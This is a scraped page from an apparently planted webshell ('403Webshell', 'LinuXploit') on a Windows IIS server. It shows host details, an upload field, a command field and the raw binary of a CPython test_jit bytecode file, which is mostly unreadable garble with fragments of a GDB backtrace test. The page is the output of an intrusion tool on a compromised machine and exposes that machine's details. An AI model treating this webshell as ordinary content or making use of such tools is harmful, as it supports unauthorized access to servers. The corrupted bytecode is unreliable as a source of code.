403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_gdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_gdb/__pycache__/test_jit.cpython-315.pyc
R
>lqjt"c��]PHs]PHs]PHs]PHs]PHs]QHGs]QHGsG	s	\OQ2s\\Q29%c6\OO29%c\O2Q6Hs\O"O%\O"O'\2Q2s]s]sQsQsQ	s\O6Q
\O82sQ\8Q\Q
0sQ\8Q\Q0sQs \OB\OQ6HQ2\OB\OD2Q7Q2\OB\Q2QQ\	2222s#P!)�)�
import_helper)�setup_module�
DebuggerTests�_testinternalcapi�_jit�jitzgdb_jit_sample.pyz)(_PyEval_EvalFrameDefault|_PyEval_Vector)zpy::jit:executor�_PyJIT_Entryz^#\d+\s+.*$z"python exec("import gdb\ntarget = z\nfor _ in range(z�):\n    frame = gdb.selected_frame()\n    if frame is not None and frame.name() == target:\n        break\n    gdb.execute('finish')\nelse:\n    raise RuntimeError('did not reach %s' % target)\n")au):\n    frame = gdb.selected_frame()\n    if frame is None or frame.name() != target:\n        raise RuntimeError('left JIT region during stepping: '\n                           + repr(frame and frame.name()))\n    gdb.execute('si')\nframe = gdb.selected_frame()\nif frame is None or frame.name() != target:\n    raise RuntimeError('stepped out of JIT region after si')\n")c��[2P!�N)r���+C:\Python315\\Lib\test\test_gdb\test_jit.py�setUpModulerBs���Nr�linuxz5GDB JIT interface is only implemented for Linux + ELFz4GDB JIT CFI emitter only supports x86_64 and AArch64z$requires native JIT execution activec�R``�\sQs]LsnU1QksQsQsQsQsQs	Qs
UsU9s!)�JitBacktraceTestsc�L:�UOQP
2[RU_Q-U@!)�skip_on_truncationr)�
setdefault�super�get_stack_trace)�self�kwargs�	__class__s&,�r
r�!JitBacktraceTests.get_stack_traceSs)���	���.��6��w�&�0��0�0rc�p�[OU2oUO[U2]QU02U!)rz5expected at least one GDB backtrace frame in output:
)�BACKTRACE_FRAME_RE�findall�
assertGreater�len)r�
gdb_output�framess&& r
�_extract_backtrace_frames�+JitBacktraceTests._extract_backtrace_framesZs:��#�+�+�J�7�������K��D�Z�L�Q�	
��
rc
���UOU2oQOU2oSTt,tFDo[U7fJUMJ	oo[U2oUO	U]Q[QUQU02STt,tFD(o[
O[U2%fJ&UMJ*	oo[U2o	UOU	]QU	QU02[Q[U222o
V:]*Po[Q[U22P2oUOUQU02UPUo
UOU
QU02[Q	[U222oUPU]*Tt,tFDoQ
U7fJUMJ	ooUOUQU02U%cKUOU]*[
OQ[
O [2022P!P!ttohttohttoh)
�
zexpected exactly 1 z frame, got z
backtrace:
z+expected at least one _PyEval_* frame, got c3�P�SF �Dvq[U7fJUw�	J	P!3hr
)�JIT_EXECUTOR_FRAME��.0�i�frames&  r
�	<genexpr>�@JitBacktraceTests._assert_jit_backtrace_shape.<locals>.<genexpr>~s��/���/�(�!�3E��3N�A�A�/�s�&�&c3�|�SF �D-vq[O[U2%fJ(Uw�	J/	P!3hr
)�re�search�
EVAL_FRAME_REr(s&  r
r,r-�s(��"=���"=�h�a��9�9�]�E�2���"=�s�%<�<z6expected an eval frame after the JIT frame
backtrace:
zDexpected the executor frame to unwind directly into eval
backtrace:
c3��SF �D8vq[U7f$[O[U2%fJ3Uw�	J:	P!3hr
)r'r/r0r1r(s&  r
r,r-�s0��-���-���"�e�+��9�9�]�E�2�	
�A�-�s�A�A�Az ?? ()zLunexpected truncated frame before the validated JIT/eval segment
backtrace:
z^#0\s+)r"�joinr'r�assertEqualr/r0r1�assertGreaterEqual�next�	enumerate�assertIsNotNone�assertFalse�max�assertRegex�compile�escape)rr �
anchor_at_topr!�	backtracer+�
jit_frames�	jit_count�eval_frames�
eval_count�jit_frame_index�frames_after_jit�first_eval_offset�unexpected_between�relevant_end�truncated_framess&&$             r
�_assert_jit_backtrace_shape�-JitBacktraceTests._assert_jit_backtrace_shapebsD���/�/�
�;���I�I�f�%�	�)/�O���3E��3N�e�e��
�O��
�O�	�����q�!�"4�!5�\�)��M�$�+�
'�	
�
+1�T�&��B�I�I�m�U�4S�u�u�&��T���%�
������9�*��F�$�+�
'�	
�
�
�'��/�
�
��"�A�"5�"6�7�� �
�"+�,<�"=�
�
�
��	
�����$�+�
'�	
�
.�.@�/@�A������
�$�+�
'�	
�
�
�%�f�-�
�
�� &�&8��q�(8�9�
�9�e��5� �
�E�9�	�
�	
����
�$�+�
'�	
�
�����q�	��
�
�f�R�Y�Y�/A�%B�$C�D�E�
���kP��U��J
s"�G�G�1%G#�G#�G(�-G(c�`�UO[Q,QQ5oUOUP
Q5P!��bt�1)�script�cmds_after_breakpoint�
PYTHON_JIT�r>)r�JIT_SAMPLE_SCRIPTrJ�rr s& r
�"test_bt_unwinds_through_jit_frames�4JitBacktraceTests.test_bt_unwinds_through_jit_frames�s7���)�)�$�#'�&��*�
�
�	
�(�(��5�(�Irc�l�UO[[,QNQQ5oUOUP
Q5P!)�delete 1rO)rP�
breakpointrQrRrS)rYztbreak builtin_id�continuerN)rrT�JIT_ENTRY_SYMBOLrJrUs& r
�*test_bt_handoff_from_jit_entry_to_executor�<JitBacktraceTests.test_bt_handoff_from_jit_entry_to_executor�s<���)�)�$�'�#��*�

�
�	
�(�(��5�(�Irc�t�UO[[[Q,QQ5oUO	UP	Q5P!rM)rrT�FINISH_TO_JIT_EXECUTOR�STEP_INSIDE_JIT_EXECUTORrJrUs& r
�(test_bt_unwinds_from_inside_jit_executor�:JitBacktraceTests.test_bt_unwinds_from_inside_jit_executor�sB���)�)�$�&�(��#�
�*�
�
�	
�(�(��4�(�Hrr)
�__name__�
__module__�__qualname__�__firstlineno__rr"rJrVr]rb�__static_attributes__�__classdictcell__�
__classcell__)r�
__classdict__s@@r
rrLs.����1��G�RJ�J�"I�Irr)�x86_64�aarch64)$�os�platformr/�sys�unittest�test.supportr�utilrr�
import_moduler�hasattrr�
is_enabled�get_jit_backend�NATIVE_JIT_ENABLED�pathr3�dirname�__file__rT�MAX_FINISH_STEPS�MAX_JIT_ENTRY_STEPSr1r'r\r<�	MULTILINErr`rar�
skipUnless�machinerrrr
�<module>r�s���	��	�
��&�-�"�/�/�0C�D���C���5�5�������5�5��)�)�+�u�4���G�G�L�L�������!:�<O�P������<�
�'��!���Z�Z�����=���"�%�&�&�'�(@�@���"�%�&�)�*�+I�
I���
���S�\�\�W�,�L�N�	���X�%�%�'�+@�@�K�M�	���'�;�=�@I�
�@I�=�M�N�@Ir

Youez - 2016 - github.com/yon3zu
LinuXploit